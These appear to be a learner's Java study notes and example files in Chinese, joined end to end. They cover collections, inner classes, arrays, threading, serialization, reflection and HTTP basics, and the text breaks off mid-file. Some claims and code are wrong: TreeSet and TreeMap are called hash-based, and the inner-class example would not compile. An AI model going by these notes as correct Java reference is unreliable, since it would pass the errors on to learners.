> 基于哈希表实现[实际就是数组+链表,采用哈希算法/散列算法,底层就是基于HashMap实现],但可对容器内元素进行排序 -> 基于排序规则进行排序 ```java package com.mi.set; import java.util.Set; import java.util.TreeSet; public class TreeSetTest { public static void main(String[] args) { Set<String> set = new TreeSet<>(); // 新增 set.add("c"); set.add("b"); set.add("a"); set.add("c"); // 获取 for(String str: set) { System.out.println(str); } /* 排序规则: 1.通过元素自身实现:元素需实现Comparable接口的compareTo方法[字符串or数字类中都已实现该抽象方法,自定义类中没有该方法则需要实现] -> 方法聚焦返回值:正数,位置不变; 负数,位置互换; 0,保持不变 2.通过比较器指定: [1].单独创建比较器,比较器需实现Comparator接口中的compare方法定义比较规则 [2].实例化TreeSet时将比较器对象传入以完成元素的排序处理 */ // 通过元素自身实现 Set<Users> set1 = new TreeSet<>(); Users u = new Users("lisa",18); Users u1 = new Users("curry",20); Users u2 = new Users("aury",20); set1.add(u); set1.add(u1); set1.add(u2); for(Users user: set1) { System.out.println(user); } // 通过比较器指定 Set<Student> set2 = new TreeSet<>(new StudentComparator()); Student s1 = new Student("lisa",18); Student s2 = new Student("curry",20); Student s3 = new Student("aury",20); set2.add(s1); set2.add(s2); set2.add(s3); for(Student student: set2) { System.out.println(student); } } } // Users类 public class Users implements Comparable<Users>{ // alt+insert -> 自动生成getter/setter private String username; private int age; public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } public Users(String username, int age) { this.username = username; this.age = age; } // toString() @Override public String toString() { return "Users{" + "username='" + username + '\'' + ", age=" + age + '}'; } // 通过元素自身实现:元素需实现Comparable接口的compareTo方法 -> 聚焦返回值:正数,位置不变; 负数,移动前面; 0: 位置不变 @Override public int compareTo(Users o) { if(this.age > o.getAge()) { return 1; } if(this.age == o.getAge()) { return this.username.compareTo(o.getUsername()); } return -1; } } // StudentComparator类 import java.util.Comparator; public class StudentComparator implements Comparator<Student> { // 定义比较规则 @Override public int compare(Student o1, Student o2) { if(o1.getAge() > o2.getAge()) { return 1; } if(o1.getAge() == o2.getAge()) { return o1.getName().compareTo(o2.getName()); } return -1; } } ```<file_sep>/java基础1/8.类/3.其它/3.内部类/MemberOuter.java /** * 成员内部类 */ public class MemberOuter { int value = 10; public void deal() { System.out.println("deal"); }; public static void deal1() { System.out.println("deal1"); }; // 非静态成员内部类 public class A { int value = 20; public void func() { // 内部类可访问外部类的内容 deal(); int value = 30; System.out.println(value);//30 System.out.println(this.value);//20 System.out.println(MemberOuter.this.value);//10 } } // 静态成员内部类 static class B { // 仅能访问外部类中的静态属性、静态方法 deal1(); } // 外部类访问内部类:创建内部类的对象后才能调用 A a = new A(); System.out.println(a.value); a.func(); } class Test { public static void main(String[] args) { // 创建外部类对象 MemberOuter outerObj = new MemberOuter(); // 创建内部类对象 // 非静态成员内部类 MemberOuter outerObj = new MemberOuter(); MemberOuter.A a = ouerObj.new A();//不能直接使用:MemberOuter.A a = new MemberOuter.A(); // 静态成员内部类 MemberOuter.B b = new MemberOuter.B(); } }<file_sep>/java基础1/7.数组/2.多维数组/README.md ## 多维数组 ### 声明 && 赋值 && 定义 > 声明: > 存储的类型[] 数组名字 > 二维数组:int[][] a; > 三维数组:int[][][] b; > 赋值: > int[][] a; > a = new int[][]{{1,2},{3,4,5},{6,7}}; > int[][][] b; > b = new int[][][]{{{1,2},{3,4}},{{5,6},{7,8}}} > 定义/初始化: > 1. 静态初始化:有长度、有元素 > 存储的类型[] 数组名字 = new 存储的类型[]{ele,ele,ele,,,,,} > 存储的类型[] 数组名字 = {ele,ele,ele,,,,,}//简写 -> 只有初始化时可以简写,赋值时不可以,因为要明确数据类型(强类型语言) > 2. 动态初始化:有长度、无元素[默认值] > 存储的类型[] 数组名字 = new 数据类型[length][length] -> 最后的数据长度可不写,不会报错(虽然数组规定了必须确定长度),但不能直接操作,会报错(NullPointerException) => 小结:可以不写为空,但不能为空后还去操作 > 整数默认值:0 > 浮点型默认值:0.0 > 字符型默认值:0 -> char类型 > 布尔型默认值:false > 引用型默认值:null ### 数据元素的访问/存取 -> 遍历 > 数组索引的取值范围:[0,arr.length-1];//越界异常:ArrayIndexOutOfBoundsException > 普通for循环 ```java // 可读可写 for(变量; 终止条件; 变化量) {} ``` > 增强for循环 -> JDK1.5出现,后续又出现了更强的封装for循环,例如forEach ```java // 可读不可写,而且不知道元素是第几个,因为没有index索引 for(变量(接收数组中的元素):数组) {} ``` ### 二维数组的内存图示 > 其是树形结构,不是矩阵 ```java // int[][] arr = new int[length1][length2];// length1必填,length2非必填,也就是'第二维度'可以相同也可以不同 int[][] arr = new int[3][]; arr[0] = new int[3]; arr[1] = new int[]{1,2}; arr[2] = new int[4]; ``` ![](assets/二维数组内存图示.png)<file_sep>/java基础2/2.容器/2.双例集合/Map接口/2.TreeMap类/README.md ## TreeMap类 -> Map接口的实现类 > 基于哈希表实现[实际就是数组+链表],但可对容器内元素排序 -> 基于排序规则进行排序 ```java package com.mi.map; import java.util.Map; import java.util.Set; import java.util.TreeMap; import com.mi.set.treeset.Student; import com.mi.set.treeset.StudentComparator; import com.mi.set.treeset.Users; public class TreeMapTest { public static void main(String[] args) { // 其它方法同HashMap使用方法类似 /* 排序规则: 1.通过元素自身实现:元素需实现Comparable接口的compareTo方法[字符串or数字类中都已实现该抽象方法,自定义类中没有该方法则需要实现] -> 方法聚焦返回值:正数,位置不变; 负数,位置互换; 0,保持不变 2.通过比较器指定: [1].单独创建比较器,比较器需实现Comparator接口中的compare方法定义比较规则 [2].实例化TreeSet时将比较器对象传入以完成元素的排序处理 */ // 通过元素自身实现 Map<Users,String> map = new TreeMap<>(); Users u = new Users("lisa",18); Users u1 = new Users("curry",20); Users u2 = new Users("acy",20); map.put(u,"lisa"); map.put(u1,"curry"); map.put(u2,"acy"); Set<Users> keys = map.keySet(); for(Users key: keys) { System.out.println(key + ":" + map.get(key)); } // 通过比较器指定 Map<Student,String> map1 = new TreeMap<>(new StudentComparator()); Student s1 = new Student("lisa",18); Student s2 = new Student("curry",20); Student s3 = new Student("acy",20); map1.put(s1,"lisa"); map1.put(s2,"curry"); map1.put(s3,"acy"); Set<Student> keys1 = map1.keySet(); System.out.println(keys1); for(Student key: keys1) { System.out.println(key + ":" + map1.get(key)); } } } // Users类 public class Users implements Comparable<Users>{ // alt+insert -> 自动生成getter/setter private String username; private int age; public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } public Users(String username, int age) { this.username = username; this.age = age; } // toString() @Override public String toString() { return "Users{" + "username='" + username + '\'' + ", age=" + age + '}'; } // 通过元素自身实现:元素需实现Comparable接口的compareTo方法 -> 聚焦返回值:正数,位置不变; 负数,移动前面; 0: 位置不变 @Override public int compareTo(Users o) { if(this.age > o.getAge()) { return 1; } if(this.age == o.getAge()) { return this.username.compareTo(o.getUsername()); } return -1; } } // StudentComparator类 import java.util.Comparator; public class StudentComparator implements Comparator<Student> { // 定义比较规则 @Override public int compare(Student o1, Student o2) { if(o1.getAge() > o2.getAge()) { return 1; } if(o1.getAge() == o2.getAge()) { return o1.getName().compareTo(o2.getName()); } return -1; } } ```<file_sep>/java基础2/4.多线程/3.线程同步/2.锁机制解决并发问题/README.md ## 锁机制解决并发问题 > java提供锁机制:同步方法、同步快,均使用synchronized关键字实现 -> 实际就是每个对象对应一把锁,同步方法/同步块对该对象操作,它们获得锁后才能执行,否则线程就处于阻塞状态,例如同步方法处理某对象时,也就是获得一把锁,其会开始执行,方法执行结束释放该锁[还给对象],后面的线程才能获得该锁,继续往下执行 > 开发建议:并发操作都添加上同步方法、同步快[只读操作也不用添加、修改操作需要添加],不涉及并发操作的不要添加,其会影响效率 ### 同步方法 > public synchronized void method() {} ```java package com.mi.threadsyn; public class safeBuyTicket implements Runnable{ private int ticketNums = 10; @Override // 同步方法 public synchronized void run() { while(true) { if(ticketNums <= 0) { break; } System.out.println(Thread.currentThread().getName() + "买到了第" + ticketNums-- + "张票"); } } // 主线程 public static void main(String[] args) { UnSafeBuyTicket ticket = new UnSafeBuyTicket(); new Thread(ticket,"a").start(); new Thread(ticket,"b").start(); new Thread(ticket,"c").start(); } } ``` ### 同步快 > synchronized(Obj) {};//Obj称之为同步监视器,使用共享资源[实际就是变化量(变化的对象)]作为同步监视器 -> 同步方法无需指定监视器,默认就是this,对象本身或者是class ```java package com.mi.threadsyn; import java.util.ArrayList; import java.util.List; public class safeList { public static void main(String[] args) { List<String> list = new ArrayList<String>(); for(int i=0; i<10000; i++) { new Thread(() -> { // 同步快:锁对象[锁变化的量] synchronized (list) { list.add(Thread.currentThread().getName()); } }).start(); } try { Thread.sleep(1000); } catch (InterruptedException e) { e.printStackTrace(); } System.out.println(list.size());// size不等于10000,有些位置数据被反复添加,数据被冲掉了 -> 加入sleep阻塞,效果会好些 } } ```<file_sep>/java基础2/3.IO流/7.对象流/README.md ## 对象流 > 背景:对象是用于组织存储数据,开发中往往需要将对象存储到硬盘上的文件、网络传输对象数据等 -> 网络传输数据的格式仅能是二进制序列,无论是字节流还是字符流最终都需转换为二进制形式,关于java对象的传输,就需要用到序列化、反序列化 > 序列化:发送方将java对象转换为字节序列,才能在网络上传送 > 反序列化:接收方将字节序列转换为对象,才能正常读取 > 对象序列化的作用: > 持久化:对象转换为字节序列永久存储在硬盘,通常放到文件中 -> 只有转换为字节序列才可存入到文件 > 网络通信:网络上传输对象的字节序列 -> 服务器间的数据通信、对象传递 ### 序列化涉及的类与接口 > 1. 只有实现了Serializable接口的类的对象才能被序列化,Serializable是空接口,仅起到标记作用 > 2. ObjectOutputStream对象输出流:对象序列化为字节序列 > 3. ObjectInputStream对象输入流:字节序列反序列化为对象并返回 > -> 这些对象流不仅可处理java对象,还可对基本数据类型进行读写操作,但数据流[DataInputStream、DataOutputStream]仅能对基本数据类型和字符串类型进行处理,不能处理java对象 ```java // 操作基本类型数据 package com.mi.demo; import java.io.*; public class ObjectOutputStreamBasicTypeDemo { public static void main(String[] args) { ObjectOutputStream oos = null; ObjectInputStream ois = null; try { oos = new ObjectOutputStream(new BufferedOutputStream(new FileOutputStream("C:\\workspace\\dev\\1.技术体系\\2.后端\\javastudy\\a.txt"))); oos.writeChar('a'); oos.writeInt(10); oos.writeDouble(Math.random()); oos.writeBoolean(true); oos.writeUTF("你好"); oos.flush(); ois = new ObjectInputStream(new BufferedInputStream(new FileInputStream("C:\\workspace\\dev\\1.技术体系\\2.后端\\javastudy\\a.txt"))); // 读取顺序要保持一致 System.out.println("char: " + ois.readChar()); System.out.println("int: " + ois.readInt()); System.out.println("double: " + ois.readDouble()); System.out.println("boolean: " + ois.readBoolean()); System.out.println("String: " + ois.readUTF()); } catch(Exception e) { e.printStackTrace(); } finally { try { if(oos != null) { oos.close(); } if(ois != null) { ois.close(); } } catch(Exception e) { e.printStackTrace(); } } } } ``` ```java // 操作对象 package com.mi.demo; import java.io.*; public class ObjectOutputStreamObjectTypeDemo { public static void main(String[] args) { ObjectOutputStream oos = null; ObjectInputStream ois = null; try { oos = new ObjectOutputStream(new BufferedOutputStream(new FileOutputStream("C:\\workspace\\dev\\1.技术体系\\2.后端\\javastudy\\e.txt"))); Users users = new Users("curry",18); oos.writeObject(users); oos.flush(); ois = new ObjectInputStream(new BufferedInputStream(new FileInputStream("C:\\workspace\\dev\\1.技术体系\\2.后端\\javastudy\\e.txt"))); Users user = (Users)ois.readObject(); System.out.println(user.getUsername() + ":" + user.getAge()); } catch(Exception e) { e.printStackTrace(); } finally { try { if(oos != null) { oos.close(); } if(ois != null) { ois.close(); } } catch(Exception e) { e.printStackTrace(); } } } } ```<file_sep>/java基础1/12.标准类库/1.包装类/Demo.java public class Demo { public static void main(String args[]) { // 装箱:基本数据类型 -> 包装类 Integer n1 = Integer.valueOf(100); System.out.println(n1); // 拆箱:包装类 -> 基本数据类型 Integer n2 = 100; int n3 = n2.intValue(); System.out.println(n3); // 字符串转换成对象 Integer n4 = Integer.parseInt("520");//Integer n = 520; System.out.println(n4); System.out.println(Integer.parseInt("520"));//520; // 对象转换成字符串 String s1 = n4.toString();// String s1 = "520" -> 底层使用的new String() System.out.println(s1); /* 包装类的缓存: 包装类提供的valueOf方法会对-128~127间的数进行缓存,目的是提高效率 -> 仅仅是整型、char类型的包装类 public static Integer valueOf(int i) { if (i >= IntegerCache.low && i <= IntegerCache.high) { return IntegerCache.cache[i + (-IntegerCache.low)]; } return new Integer(i); } */ Integer n5 = 520; Integer n6 = 520; System.out.println(n5 == n6);//false System.out.println(n5.equals(n6));//true Integer n7 = -128; Integer n8 = -128; System.out.println(n7 == n8);//true System.out.println(n7 == n8);//true } }<file_sep>/java基础2/8.javaweb/README.md ## javaweb > java技术解决web互联网领域的技术栈,java在客户端提供了javaApplet,目前很少使用 -> 现在的javaWeb聚焦:java技术搭建'C/S'架构的后端服务[tomcat、servlet、jsp等] ### 计算机网络基础 > web的本质就是C/S架构模式,也就是客户端发送请求到服务器,底层就是通过'请求报文'经过7层网络协议到达服务器,服务器解析相关内容返回'响应报文',也就是开发者仅关注应用层协议即可,常用的就是HTTP、HTTPS、Websocket等 -> 下述以HTTP为例 #### HTTP > 报文: > http是应用层协议,其将请求相关信息封装在请求报文中发送给服务器,服务器进行报文解析,返回响应报文 > 请求报文 > 请求行:请求方法、请求URL、协议类型及版本 > 请求头:元数据信息 > 请求体:数据主体 > 响应报文 > 响应行:协议类型及版本、状态码、状态码描述 > 响应头:源数据信息 > 响应体:数据主体 ![](assets/请求报文&&响应报文.png) > 版本: > HTTP/0.9: 仅支持GET、仅支持HTML格式的资源 -> 最初版本 > HTTP/1.0: 支持GET/POST/HEAD、支持多种数据格式[Content-type声明数据格式,格式参考就是MIMIE]、请求行必须添加协议类型及版本,请求头元数据类型也在增多, 单连接模式[每次TCP连接仅能发送一个请求,响应后立即关闭,每次都需要重新建立连接,TCP又是三次握手四次挥手,连接成本较高] > HTTP/1.1: 新增请求方式PUT/PATCH/OPTION/DELETE、持久连接[每次TCP连接后允许多请求同时发送,并发性更高,客户端和服务端发现对方长时间没活动后,就可以主动关闭连接,规范做法是:客户端发最后请求时,发送Connection:close,通知服务器返回后关闭连接]、支持文件断点续传、支持更多的响应状态码 > HTTP/2.0: 双工模式[多路复用技术,客户端允许多请求同时发送,服务器也可同时处理多请求,效率更高]、服务器可主动推送数据 <file_sep>/java基础2/2.容器/2.双例集合/Map接口/1.HashMap类/README.md ## HashMap类 -> Map接口的实现类 > 基于哈希表实现[实际就是数组+链表],结合了数组、链表各自优势,查询增删效率都很高 ![](assets/HashMap存储结构.png) ```java package com.mi.map; import java.util.Map; import java.util.HashMap; import java.util.Set; public class HashMapTest { public static void main(String[] args) { Map<String,String> map = new HashMap<>(); // 新增 String value = map.put("a","A"); System.out.println(value);// null -> 当添加相同key值时新值会覆盖旧值,然后会返回旧值,若首次添加会返回null,表示没有旧值 String value1 = map.put("a","B"); System.out.println(value1); map.put("b","B"); map.put("c","C"); map.put("d","D"); // 获取 String value2 = map.get("a"); System.out.println(value2); // 获取所有key Set<String> keys = map.keySet(); System.out.println(keys);// [a, b, c, d] System.out.println(map);// {a=B, b=B, c=C, d=D} for(String key: keys) { System.out.println(key); System.out.println(map.get(key)); } // 获取key-value Set<Map.Entry<String,String>> entrySet = map.entrySet(); for(Map.Entry<String,String> entry: entrySet) { System.out.println(entry.getKey() + "=" + entry.getValue()); } // 并集 -> 若两个集合中有相同key值,并进来的集合会覆盖现集合 Map<String,String> map1 = new HashMap<>(); map1.put("a","aaa"); map1.putAll(map); System.out.println(map1); // 删除 String value3 = map.remove("c"); System.out.println(value3); System.out.println(map); // 判断key、value boolean isKeyExist = map.containsKey("a"); boolean isValueExist = map.containsValue("D"); System.out.println(isKeyExist); System.out.println(isValueExist); } } ```<file_sep>/java基础2/TestPro/container/src/com/mi/list/VectorTest.java package com.mi.list; import java.util.List; import java.util.Stack; import java.util.Vector; public class VectorTest { public static void main(String[] args) { // Vector类 List<String> v = new Vector<>(); v.add("Hello"); v.add("World"); v.add("Hello"); for(int i=0; i<v.size(); i++) { System.out.println(v.get(i)); } for(String str:v) { System.out.println(str); } // Stack类[LIFO后进先出] -> Vector的子类 Stack<String> stack = new Stack<>(); // 入栈 String a = stack.push("hello"); System.out.println(a); stack.push("java1"); stack.push("java2"); // 弹栈 String res = stack.pop(); System.out.println(res); // 是否为空 System.out.println(stack.isEmpty()); // 查看栈顶元素 String topEle = stack.peek(); System.out.println(topEle); // 查找位置 int index = stack.search("java2"); System.out.println(index); } }<file_sep>/java基础2/TestPro/container/src/com/mi/set/treeset/Users.java package com.mi.set.treeset; public class Users implements Comparable<Users>{ // alt+insert -> 自动生成getter/setter private String username; private int age; public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } public Users(String username, int age) { this.username = username; this.age = age; } // toString() @Override public String toString() { return "Users{" + "username='" + username + '\'' + ", age=" + age + '}'; } // 通过元素自身实现:元素需实现Comparable接口的compareTo方法 -> 聚焦返回值:正数,位置不变; 负数,移动前面; 0: 位置不变 @Override public int compareTo(Users o) { if(this.age > o.getAge()) { return 1; } if(this.age == o.getAge()) { return this.username.compareTo(o.getUsername()); } return -1; } }<file_sep>/java基础2/TestPro/thread/src/com/mi/threadcreate/threadTestDemo1.java /* 多线程并发下载图片 */ package com.mi.threadcreate; import org.apache.commons.io.FileUtils; import java.io.File; import java.io.IOException; import java.net.URL; public class threadTestDemo1 extends Thread{ public String url; public String name; public threadTestDemo1(String url, String name) { this.url = url; this.name = name; } @Override public void run() { WebDownLoader webDownLoader = new WebDownLoader(); webDownLoader.downloader(url,name); System.out.println("download:" + name); } // main线程 public static void main(String[] args) { threadTestDemo1 t1 = new threadTestDemo1("http://mat1.gtimg.com/sports/kbsweb4/assets/176e7c5f3d7dffbd0d7d.png", "1.jpg"); threadTestDemo1 t2 = new threadTestDemo1("http://mat1.gtimg.com/sports/kbsweb4/assets/176e7c5f3d7dffbd0d7d.png", "2.jpg"); threadTestDemo1 t3 = new threadTestDemo1("http://mat1.gtimg.com/sports/kbsweb4/assets/176e7c5f3d7dffbd0d7d.png", "3.jpg"); t1.start(); t2.start(); t3.start(); } } // 下载器 class WebDownLoader { public void downloader(String url,String name) { try { // 将网图下载到本地 FileUtils.copyURLToFile(new URL(url),new File(name)); } catch (IOException e) { e.printStackTrace(); } } }<file_sep>/java基础1/6.语句/1.选择语句/Demo3.java /** * 根据输入返回星期值 */ import java.util.Scanner; public class Demo3 { public static void main(String[] args) { Scanner input = new Scanner(System.in); System.out.println("请输入一个数字,输出星期 ~"); int num = input.nextInt(); String week; switch(num) { case 1: week = "Monday"; break; case 2: week = "Tuesday"; break; case 3: week = "Wednesday"; break; case 4: week = "Thursday"; break; case 5: week = "Friday"; break; case 6: week = "Saturday"; break; case 7: week = "Sunday"; break; default: week = "error"; }; System.out.println(week); } }<file_sep>/java基础1/6.语句/2.循环语句/1.for循环/基础循环/Demo1.java /** * 鸡兔同笼问题:总数50只,脚总数160只 * 小结:实际很多问题我们通过常识、数学方法可以很快得到正确答案,计算机却只能通过'逐个尝试'的方法,很笨拙,计算机本来就是执行指令的工具而已,其的优势是处理'问题规模较大'的问题 */ public class Demo1 { public static void main(String[] args) { // 设鸡有i只 for(int i=1; i<50; i++) { if(2*i + 4*(50-i) == 160) { System.out.println("鸡个数:" + i); System.out.println("兔个数:" + (50-i)); } } } }<file_sep>/java基础2/8.javaweb/6.listener/README.md ## listener -> 监听器 > 其提供了系列监听器 -> 触发后的回调函数中进行相关操作即可 ### 使用 > 1. web.xml中添加监听器 ```xml <!-- 监听器 --> <listener> <listener-class>com.tt.listener.OnlineCountListener</listener-class> </listener> ``` > 2. 监听器类 ```java package com.tt.listener; import javax.servlet.ServletContext; import javax.servlet.http.HttpSessionEvent; import javax.servlet.http.HttpSessionListener; // 类实现相关监听器接口 public class OnlineCountListener implements HttpSessionListener { // 创建session监听:创建session会触发此事件 @Override public void sessionCreated(HttpSessionEvent se) { ServletContext servletContext = se.getSession().getServletContext(); Integer onlineCount = (Integer) servletContext.getAttribute("OnlineCount"); if(onlineCount == null) { onlineCount = new Integer(1); }else { int count = onlineCount.intValue(); onlineCount = new Integer(count+1); } servletContext.setAttribute("OnlineCount",onlineCount); } // 销毁session监听:销毁session会触发此事件 @Override public void sessionDestroyed(HttpSessionEvent se) { ServletContext servletContext = se.getSession().getServletContext(); Integer onlineCount = (Integer) servletContext.getAttribute("OnlineCount"); if(onlineCount == null) { onlineCount = new Integer(0); }else { int count = onlineCount.intValue(); onlineCount = new Integer(count-1); } servletContext.setAttribute("OnlineCount",onlineCount); } } ```<file_sep>/java基础2/5.注解反射/2.反射/6.操作注解信息/README.md ## 操作注解信息 ```java /* 获取注解信息/反射操作注解: */ package com.mi.reflect; import java.lang.annotation.*; import java.lang.reflect.Field; public class TestReflect6 { public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException { Class c1 = Class.forName("com.mi.reflect.Animal"); // 获取所有注解 -> 默认是类注解 Annotation[] annotations = c1.getAnnotations(); for(Annotation annotation: annotations) { System.out.println(annotation); } // 获取类注解的值 -> 通过此方式就可获取到元数据 TableDeal tableDeal = (TableDeal)c1.getAnnotation(TableDeal.class); String value = tableDeal.value(); System.out.println(value); // 获得类指定的注解 Field f1 = c1.getDeclaredField("name"); FieldDeal annotation = f1.getAnnotation(FieldDeal.class); System.out.println(annotation.columnName()); System.out.println(annotation.type()); System.out.println(annotation.length()); } } @TableDeal("db_student") class Animal { @FieldDeal(columnName = "db_id", type="int", length = 10) private int id; @FieldDeal(columnName = "db_age", type="int", length = 10) private int age; @FieldDeal(columnName = "db_name", type="varchar", length = 10) private String name; public Animal(int id, int age, String name) { this.id = id; this.age = age; this.name = name; } public Animal() { } public int getId() { return id; } public void setId(int id) { this.id = id; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } public String getName() { return name; } public void setName(String name) { this.name = name; } } // 类注解 @Target(ElementType.TYPE) @Retention(RetentionPolicy.RUNTIME) @interface TableDeal { String value(); } // 属性注解 @interface FieldDeal { String columnName(); String type(); int length(); } ```<file_sep>/java基础1/13.异常处理/Demo2.java /** * 自定义异常:大多包含两个构造器,默认、带参 */ class IllegalAgeException extends Exception { // 默认构造器 public IllegalAgeException() {} // 带参构造器 public IllegalAgeException(String message) { super(message); } } class Person { private String name; private int age; public void setName(String name) { this.name = name; } public void setAge(int age) throws IllegalAgeException { if (age < 0) { throw new IllegalAgeException("人的年龄不应该为负数"); } this.age = age; } public String toString() { return "name is " + name + " and age is " + age; } } public class Demo { public static void main(String[] args) { Person p = new Person(); try { p.setName("Lincoln"); p.setAge(-1); } catch (IllegalAgeException e) { e.printStackTrace(); } System.out.println(p); } }<file_sep>/java基础1/15.其它/2.包/README.md ## 包 > 背景:模块化代码,解决重名、访问权限的问题 -> 命名空间 ### 包创建/包命名 > 1. 全部小写,中间用.分隔 > 2. 不能使用系统中的关键字:nul、con等 > -> 大多都是公司域名倒着写,然后加上模块名字:com.jd.login、com.jd.register ### 包声明 > 直接写在非注释性代码的第一行 ```java // 声明包 package com.jd.login ``` ### 导入包 ```java /* 1.同包下的类使用无需导包,直接使用即可 2.使用不同包下的类均需要导包: -> 导入自定义包下的类:直接导入,无法省略 -> 导入标准库的包:某些情况可省略 [1].java.lang包下的类无需导入直接使用即可[编译时默认导入java.lang包下的所有类] [2].使用*表示导入所有类:import java.util.* -> import java.util.ArrayList、import java.util.Date [3].java中的导包没有'包含/被包含'的关系 import com.jd.*; import com.jd.login.A;//即使导入import com.jd.* 但login包下的类也没有被导入 -> 它们没有包含关系 [4].静态导入 -> 使用static关键字 import static java.lang.Math.*;//导入Math类中的所有静态内容,代码书写时可以简写Math public class Demo { public static void main(String[] args) { System.out.println(random());//Math.random() System.out.println(PI);//Math.PI } // 静态导入后,同一个类中有相同方法时会优先'用户自定义'方法 public static int round(double a) { return 1000; } System.out.println(round(6.8));//1000,而不是Math.round(6.8) } */ ```<file_sep>/java基础1/7.数组/1.一维数组/Demo1.java /** * 输出1-100间的偶数 */ public class Demo1 { public static void main(String[] args) { int[] array = new int[50]; for(int i=0; i<array.length; i++){ array[i] = 2*i+2; } for(int i:array){ System.out.println(i); } } }<file_sep>/java基础1/12.标准类库/4.数字处理相关类/README.md ## 数字处理相关类 > Math类提供了数字处理相关的方法 > Random类提供了生成随机数的方法,相比Math.random()方法,其更能更好的处理复杂需求<file_sep>/java基础2/2.容器/1.单例集合/1.List接口/3.LinkedList类/README.md ## LinkedList类 -> List接口的实现类 > 底层基于双向链表实现:查询效率低、增删效率低高 > LinkedList类方法 -> 类提供的方法,非List接口抽象方法实现 ![](assets/LinkedList方法1.png) ![](assets/LinkedList方法2.png) ```java package com.mi.list; import java.util.LinkedList; import java.util.List; public class LinkedListTest { public static void main(String[] args) { List<String> list = new LinkedList<>(); // 新增 list.add("a"); list.add("b"); list.add("c"); // 获取 for(int i=0; i<list.size(); i++) { System.out.println(list.get(i)); } LinkedList<String> linkedList = new LinkedList<>(); // 新增 linkedList.addFirst("a"); linkedList.addFirst("b"); linkedList.addLast("c"); linkedList.addLast("c"); for(String str:linkedList) { System.out.println(str); } // 删除 linkedList.removeFirst(); linkedList.removeLast(); for(String str:linkedList) { System.out.println(str); } // 判空 boolean flag = linkedList.isEmpty(); System.out.println(flag); } } ```<file_sep>/java基础2/TestPro/io/src/com/mi/apacheio/IOUtilsDemo.java package com.mi.apacheio; import org.apache.commons.io.IOUtils; import java.io.FileInputStream; import java.io.IOException; public class IOUtilsDemo { public static void main(String[] args) throws IOException { String content = IOUtils.toString(new FileInputStream("C:\\workspace\\dev\\1.技术体系\\2.后端\\javastudy\\a.txt"),"utf-8"); System.out.println(content); } }<file_sep>/java基础2/5.注解反射/2.反射/3.类对象内部结构/README.md ## 类对象内部结构 ```java /* 获取类对象运行时的内部结构: -> 实际类对象本质也是对象,操作属性、方法就会很便捷 包名、类名、属性、方法等 */ package com.mi.reflect; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; public class TestReflect3 { public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, NoSuchMethodException { Class c1 = Class.forName("com.mi.reflect.User"); // 包名 System.out.println(c1.getName()); // 类名 System.out.println(c1.getSimpleName()); // 获取属性 // public属性 Field[] fields = c1.getFields(); for(Field field: fields) { System.out.println(field); } // 全部属性 Field[] declaredFields = c1.getDeclaredFields(); for(Field field: declaredFields) { System.out.println(field); } // 获取具体属性 Field name = c1.getDeclaredField("name"); System.out.println(name); // 获取方法 // 类以及父类public方法 Method[] methods = c1.getMethods(); for(Method method: methods) { System.out.println(method); } // 类方法 Method[] methods1 = c1.getDeclaredMethods(); for(Method method: methods1) { System.out.println(method); } // 获取具体方法 Method name1 = c1.getMethod("getName",null); System.out.println(name1); Method name2 = c1.getMethod("setName",String.class); System.out.println(name2); // 获取构造器 // 获取public构造器 Constructor[] constructors = c1.getConstructors(); for(Constructor constructor: constructors) { System.out.println(constructor); } // 获取所有构造器方法 Constructor[] constructors1 = c1.getDeclaredConstructors(); for(Constructor constructor: constructors1) { System.out.println(constructor); } // 获取具体构造器 Constructor construct = c1.getDeclaredConstructor(String.class,int.class,int.class); System.out.println(construct); } } // 实体类 pojo entity class User { private String name; private int id; private int age; public User(String name, int id, int age) { this.name = name; this.id = id; this.age = age; } public User() {} public String getName() { return name; } public void setName(String name) { this.name = name; } public int getId() { return id; } public void setId(int id) { this.id = id; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } } ```<file_sep>/java基础2/2.容器/README.md ## 容器/集合/collection -> JAVA统称为集合,实际严格来说set是集合,map是字典,几乎所有程序语言都会提供'数组、集合、字典'数据类型完成对'数据结构'的封装接口调用,本质就是自定义数据容器[最好屏蔽掉底层数据结构,仅通过接口调用] > 背景:数组、对象并不能做到在所有情况下都高效'管理和组织数据' -> JAVA提供了容器管理数据,本质就是基于'数据结构'封装,提供了多种数据封装接口,以满足不同需求使用 > 集合的使用都应该加上泛型表示约束[不加就是默认值] ![](assets/容器.png)<file_sep>/java基础2/8.javaweb/testPro/javaweb-06-filter/src/main/java/com/tt/listener/OnlineCountListener.java package com.tt.listener; import javax.servlet.ServletContext; import javax.servlet.http.HttpSessionEvent; import javax.servlet.http.HttpSessionListener; // 类实现相关监听器接口 public class OnlineCountListener implements HttpSessionListener { // 创建session监听:创建session会触发此事件 @Override public void sessionCreated(HttpSessionEvent se) { ServletContext servletContext = se.getSession().getServletContext(); Integer onlineCount = (Integer) servletContext.getAttribute("OnlineCount"); if(onlineCount == null) { onlineCount = new Integer(1); }else { int count = onlineCount.intValue(); onlineCount = new Integer(count+1); } servletContext.setAttribute("OnlineCount",onlineCount); } // 销毁session监听:销毁session会触发此事件 @Override public void sessionDestroyed(HttpSessionEvent se) { ServletContext servletContext = se.getSession().getServletContext(); Integer onlineCount = (Integer) servletContext.getAttribute("OnlineCount"); if(onlineCount == null) { onlineCount = new Integer(0); }else { int count = onlineCount.intValue(); onlineCount = new Integer(count-1); } servletContext.setAttribute("OnlineCount",onlineCount); } }<file_sep>/java基础2/4.多线程/3.线程同步/1.线程并发引起的问题/README.md ## 线程并发引起的系列问题 > 本质:多线程并发操作同一个数据引起的'线程不安全' ### 购票 -> 线程不安全 ```java package com.mi.threadsyn; public class UnSafeBuyTicket implements Runnable{ private int ticketNums = 10; @Override public void run() { while(true) { if(ticketNums <= 0) { break; } System.out.println(Thread.currentThread().getName() + "买到了第" + ticketNums-- + "张票"); } } // 主线程 public static void main(String[] args) { UnSafeBuyTicket ticket = new UnSafeBuyTicket(); new Thread(ticket,"a").start(); new Thread(ticket,"b").start(); new 